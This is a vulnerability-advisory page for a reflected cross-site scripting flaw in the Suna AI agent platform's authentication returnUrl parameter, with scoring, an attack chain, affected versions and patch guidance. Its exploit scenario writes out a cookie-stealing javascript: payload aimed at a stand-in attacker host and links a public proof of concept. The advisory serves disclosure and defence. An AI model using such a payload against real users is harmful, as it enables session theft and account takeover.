Skip to main content

Kortix-AI Suna CVE-2026-12811

| EUVDEUVD-2026-38197 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-06-21 VulDB GHSA-fpgm-v536-ccc8
2.1
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify exposed Suna auth endpoint
  2. Delivery
    Craft URL with malicious javascript: returnUrl payload
  3. Exploit
    Deliver link to victim via phishing
  4. Execution
    Victim clicks link and interacts with auth page
  5. Persist
    router.push executes unsanitized returnUrl as JavaScript
  6. Impact
    Attacker harvests session data or redirects victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The auth page and actions must be version 0.8.38 or earlier (pre-patch). The attacker must control the returnUrl parameter value delivered to the victim's browser - typically via a crafted hyperlink. User interaction is required: the victim must click the attacker-supplied link and actively engage with the auth page (passive page load alone is insufficient per UI:P). No authentication is required from the attacker; the vulnerability exists entirely in pre-authentication flows. The vulnerability is present across all auth actions (signIn, signUp, resetPassword, signInWithPassword, signUpWithPassword, sendOtpCode, resendMagicLink, installOwner), meaning the attacker is not limited to a single entry point. Exploitation is limited by: requirement for victim user interaction, the need to reach a Suna instance (internal deployments may not be internet-exposed), and any CSP headers that would block inline script or javascript: navigation.

Impact

Despite a CVSS 4.0 base score of only 2.1 (vector AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N), real-world risk is moderate for deployments where users log in via phishing-susceptible channels. The low score reflects the UI:P (passive user interaction) requirement and the absence of confidentiality impact in the formal vector - however, a successful reflected XSS against an authentication page can enable credential harvesting, session token theft (if HttpOnly is not enforced), or UI redress attacks, all of which the formal vector likely underweights. EPSS data was not provided in the input; KEV listing is absent, indicating no confirmed mass exploitation. A public PoC exists on GitHub Gist, lowering the bar for opportunistic attackers. The CVSS 4.0 supplemental metric E:P (exploit maturity: proof of concept) corroborates this. The researcher noted the patch was applied silently without a public security disclosure, meaning many operators may remain unpatched without awareness of the risk. The combination of a trivially exploitable auth-page parameter, a public PoC, and silent patching elevates practical risk above what the formal CVSS score implies.

Exploit ScenarioDerived

An attacker crafts a URL targeting a Suna instance's /auth page with a malicious returnUrl value such as javascript:fetch('https://attacker.example/steal?c='+document.cookie) and delivers it via phishing email or social engineering. When the victim clicks the link and interacts with the auth page (e.g., clicks sign-in), the unsanitized returnUrl is passed to router.push/router.replace, executing the attacker's JavaScript in the victim's browser context. A public PoC demonstrating this technique is available at https://gist.github.com/TrebledJ/fe7241910ac0aaeff86243fc88e9ffed.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 22, 2026

Reflected cross-site scripting in Suna's authentication endpoint allows remote attackers to execute arbitrary JavaScript in a victim's browser by manipulating the returnURL parameter passed to Next.js router.replace/router.push. All Suna releases from 0.8.0 through 0.8.38 are affected; the flaw spans every auth action (signIn, signUp, resetPassword, signInWithPassword, signUpWithPassword, sendOtpCode, resendMagicLink, installOwner) because none sanitized the returnUrl form field before use. A public proof-of-concept exploit exists (GitHub Gist by TrebledJ); no public exploitation confirmed and the vulnerability is not listed in CISA KEV.

RemediationAI

Upgrade Suna to version 0.8.39 or later; this is a vendor-released patch confirmed by both the tagged release at https://github.com/kortix-ai/suna/releases/tag/v0.8.39 and commit f5dec7aa0c1b8fa0125938f292c0f2430ca75f6c. If immediate upgrade is not possible, apply a compensating control by enforcing a server-side allowlist on the returnUrl parameter, rejecting any values that do not match expected internal path patterns (e.g., must begin with '/' and contain no protocol specifier or external host). Alternatively, configure a WAF rule to block requests to /auth endpoints where the returnUrl parameter contains 'javascript:', data URIs, or external hostnames - note this may break legitimate deep-link flows if the allowlist is too narrow and requires testing. The researcher notes the fix was deployed silently without a security disclosure, so operators should treat any Suna deployment prior to 0.8.39 as unpatched regardless of when it was last updated.

Affected VersionsENISA

suna 0.8.13
suna 0.8.36
suna 0.8.19
suna 0.8.38
suna 0.8.29
suna 0.8.3
suna 0.8.34
suna 0.8.16
suna 0.8.0
suna 0.8.21
suna 0.8.6
suna 0.8.25
suna 0.8.12
suna 0.8.15
suna 0.8.7
suna 0.8.18
suna 0.8.26
suna 0.8.37
suna 0.8.32
suna 0.8.28
suna 0.8.22
suna 0.8.8
suna 0.8.20
suna 0.8.1
suna 0.8.17
suna 0.8.10
suna 0.8.14
suna 0.8.23
suna 0.8.2
suna 0.8.35
suna 0.8.9
suna 0.8.33
suna 0.8.27
suna 0.8.11
suna 0.8.31
suna 0.8.30
suna 0.8.24
suna 0.8.5
suna 0.8.4

Affected Packages

euvd suna no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Suna is a Next.js-based AI agent web platform (CPE cpe:2.3:a:kortix-ai:suna:*:*:*:*:*:*:*:*). The authentication server actions in apps/web/src/app/auth/actions.ts read the returnUrl value directly from FormData without sanitization, then pass it to router.replace or router.push - Next.js client-side navigation functions that accept arbitrary URL strings including JavaScript: protocol URIs. This pattern is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation / Cross-Site Scripting). The root cause is the absence of any allowlist or sanitization layer on the returnUrl parameter across all eight auth action handlers. The fix (commit f5dec7aa) introduces a sanitizeAuthReturnUrl() helper from @/lib/auth/return-url that is applied to every auth action's returnUrl extraction point before the value is used.

Know when Suna gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
vuln.today AI 6.1 MEDIUM

Network-accessible pre-auth endpoint, no privileges needed, victim interaction required; scope changes to browser context enabling credential/session theft.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Severity Changed
Jun 21, 2026 - 23:22 NVD
MEDIUM LOW
CVSS changed
Jun 21, 2026 - 23:22 NVD
5.3 (MEDIUM) 2.1 (LOW)

DescriptionCVE.org

A weakness has been identified in kortix-ai suna up to 0.8.38. Affected by this issue is the function router.replace/router.push of the file apps/frontend/src/app/auth/page.tsx of the component Auth Endpoint. Executing a manipulation of the argument returnURL can lead to cross site scripting. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 0.8.39 can resolve this issue. This patch is called f5dec7aa0c1b8fa0125938f292c0f2430ca75f6c. It is advisable to upgrade the affected component. The researcher explains: "The issue was fixed in v0.8.39 without notifying the wider user base via a security disclosure."

Threat Intelligence Overview

EPSS Score
0.3%
Top 80% exploitable
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy